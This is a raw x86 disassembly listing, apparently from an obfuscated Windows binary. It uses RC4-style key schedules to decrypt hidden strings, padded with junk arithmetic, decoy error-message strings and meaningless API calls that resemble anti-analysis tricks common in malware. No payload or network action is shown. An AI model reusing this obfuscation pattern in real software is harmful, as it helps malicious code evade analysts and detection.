mov ecx, esi
inc ebx
mov byte [ebp + edi - 0x218], cl
add eax, 0x14a7e992
mov dword [0x643e8140], eax
cmp ebx, 0x100
jne 0x643c560f
xor eax, 0x36511424
mov ebx, dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [0x643e8140], eax
imul eax, eax, 0xdfcc8304
mov dword [0x643e825c], eax
call ebx
mov edx, str.The_specified_firmware_slot_is_invalid.
mov ecx, 0x7f5
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c5711
add ecx, eax
cmp ecx, 0xba9
jbe 0x643c56f3
mov eax, dword [0x643e8140]
xor eax, 0x3495f4d6
jmp 0x643c571b
mov eax, dword [0x643e825c]
or eax, 0x6abe8810
add eax, 0x6065d7f9
xor edi, edi
xor esi, esi
mov dword [0x643e825c], eax
call ebx
xor ebx, ebx
mov ecx, str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov edx, 0x2ef
movzx eax, word [ecx]
add ecx, 2
test ax, ax
je 0x643c5760
add edx, eax
cmp edx, 0x12d2
jbe 0x643c5737
call fcn.643d0254
imul eax, dword [0x643e825c], 0x7377f795
mov dword [0x643e8140], eax
mov eax, dword [0x643e8140]
inc ebx
movzx ebx, bl
lea ecx, [eax + 0x492e928e]
xor eax, 0x27eceaf
mov dword [0x643e8140], ecx
mov cl, byte [ebp + ebx - 0x218]
and eax, 0x2391e263
mov dword [0x643e825c], eax
lea eax, [ecx + esi]
movzx esi, al
mov al, byte [ebp + esi - 0x218]
mov byte [ebp + ebx - 0x218], al
mov byte [ebp + esi - 0x218], cl
add cl, byte [ebp + ebx - 0x218]
movzx ecx, cl
mov al, byte [ebp + ecx - 0x218]
mov byte [ebp - 0xeec], al
mov dword [esp], str.The_specified_enclave_has_not_yet_been_terminated.
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [0x643e825c]
mov ecx, eax
imul eax, eax, 0x17560010
xor ecx, 0x9ad37c61
mov dword [0x643e8140], ecx
mov dword [0x643e825c], eax
call fcn.643d0254
mov al, byte [ebp - 0xeec]
xor al, byte [ebp + edi - 0xe6f]
movzx eax, al
mov word [ebp + edi*2 - 0xd1a], ax
inc edi
cmp edi, 0x10
jne 0x643c572d
mov eax, dword [0x643e825c]
lea edi, [ebp - 0xe2b]
mov esi, 0x643ea5a2
mov word [ebp - 0xcfa], 0
mov ecx, 0x12
rep movsb byte es:[edi], byte [esi]
mov edx, eax
add eax, 0x32a7b6c8
lea edi, [ebp - 0xb55]
or edx, 0x4bdb35d8
mov dword [0x643e825c], eax
mov esi, str.The_context_handle_does_not_match_any_known_context_handles.
mov dword [0x643e8140], edx
mov dword [esp], str.The_specified_firmware_slot_is_invalid.
call fcn.643d3a44
mov ecx, 0x3d
mov eax, dword [0x643e8140]
rep movsb byte es:[edi], byte [esi]
add eax, 0x739db91f
mov dword [0x643e825c], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
xor eax, eax
push ecx
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x643c5881
xor edi, edi
xor ebx, ebx
mov ecx, 0x3c
mov eax, ebx
xor edx, edx
movzx esi, byte [ebp + ebx - 0x118]
div ecx
mov eax, esi
add al, byte [ebp + edx - 0xb55]
mov edx, dword [0x643e825c]
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + ebx - 0x118], al
mov eax, edx
and eax, 0xc27dd18c
mov dword [0x643e8140], eax
xor eax, eax
cmp byte [eax + str.The_specified_enclave_has_not_yet_been_terminated.], 0
je 0x643c58f6
inc eax
cmp eax, 0x1762
jne 0x643c58d7
imul edx, edx, 0xbfe54ed2
mov dword [0x643e8140], edx
jmp 0x643c58fd
cmp eax, 0x11e6
jle 0x643c5902
call fcn.643cfc74
mov eax, dword [0x643e8140]
inc ebx
xor eax, 0x71a2d70d
mov dword [0x643e825c], eax
and eax, 0x342b4ed2
mov dword [0x643e8140], eax
call fcn.643d4480
mov eax, esi
mov byte [ebp + edi - 0x118], al
cmp ebx, 0x100
jne 0x643c5894
xor ebx, ebx
xor ecx, ecx
xor edx, edx
inc edx
lea esi, [ebp - 0xc96]
movzx edx, dl
movzx edi, byte [ebp + edx - 0x118]
add ecx, edi
movzx ecx, cl
mov al, byte [ebp + ecx - 0x118]
mov byte [ebp + edx - 0x118], al
mov eax, edi
mov byte [ebp + ecx - 0x118], al
add al, byte [ebp + edx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebx + ebp - 0xe2b]
movzx eax, al
mov word [esi + ebx*2], ax
inc ebx
cmp ebx, 0x12
jne 0x643c593c
mov edx, dword [0x643e825c]
mov dword [ebp - 0xc00], esi
mov word [ebp - 0xc72], 0
mov eax, edx
and eax, 0xa1cf57e8
mov dword [0x643e8140], eax
lea eax, [ebp - 0xdc8]
mov dword [ebp - 0xc28], eax
lea eax, [ebp - 0xe06]
mov dword [ebp - 0xc24], eax
lea eax, [ebp - 0xd5a]
mov dword [ebp - 0xc20], eax
lea eax, [ebp - 0xcda]
mov dword [ebp - 0xc1c], eax
lea eax, [ebp - 0xd98]
mov dword [ebp - 0xc18], eax
lea eax, [ebp - 0xdb2]
mov dword [ebp - 0xc14], eax
lea eax, [ebp - 0xdf2]
mov dword [ebp - 0xc10], eax
lea eax, [ebp - 0xcb8]
mov dword [ebp - 0xc0c], eax
lea eax, [ebp - 0xd3a]
mov dword [ebp - 0xc08], eax
lea eax, [ebp - 0xd1a]
mov dword [ebp - 0xc04], eax
xor eax, eax
cmp byte [eax + str.The_specified_firmware_slot_is_invalid.], 0
je 0x643c5a47
inc eax
cmp eax, 0x1d5f
jne 0x643c5a2a
xor edx, 0x3c72c4a1
mov dword [0x643e8140], edx
mov eax, dword [0x643e8140]
xor esi, esi
and eax, 0xc78756ca
imul eax, eax, 0x6a98f451
mov dword [0x643e8140], eax
mov eax, dword [ebp + esi*4 - 0xc28]
mov dword [esp], eax
call fcn.643c10e8
mov ebx, eax
test eax, eax
je 0x643c5b33
lea edi, [ebp - 0xea0]
mov esi, section..data
mov ecx, 4
mov ebx, 7
rep movsd dword es:[edi], dword [esi]
xor esi, esi
xor eax, eax
cmp byte [eax + str.OnMachineUILanguageSwitch], 0
je 0x643c5ad9
inc eax
cmp eax, 0x2551
jne 0x643c5a92
mov eax, dword [0x643e8140]
mov dword [esp + 8], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp + 4], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp + 0xc], eax
mov dword [esp], str.OnMachineUILanguageSwitch
call fcn.643d0978
imul eax, dword [0x643e8140], 0xb483edf3
mov dword [0x643e8140], eax
jmp 0x643c5ae6
mov edx, dword [0x643e8140]
cmp eax, 0x2205
jle 0x643c5af2
mov eax, dword [0x643e8140]
add eax, 0x3eeb0259
jmp 0x643c5b11
mov eax, edx
and eax, 0x527e995d
mov dword [0x643e8140], eax
mov dword [esp], 0xea7
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
push edx
add eax, 0x49495c04
and eax, 0xc3c97760
mov dword [0x643e8140], eax
call fcn.643d05d4
add ebx, dword [ebp + esi*4 - 0xea0]
inc esi
cmp esi, 4
jne 0x643c5a90
jmp 0x643c5b3d
inc esi
cmp esi, 0xb
jne 0x643c5a5e
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret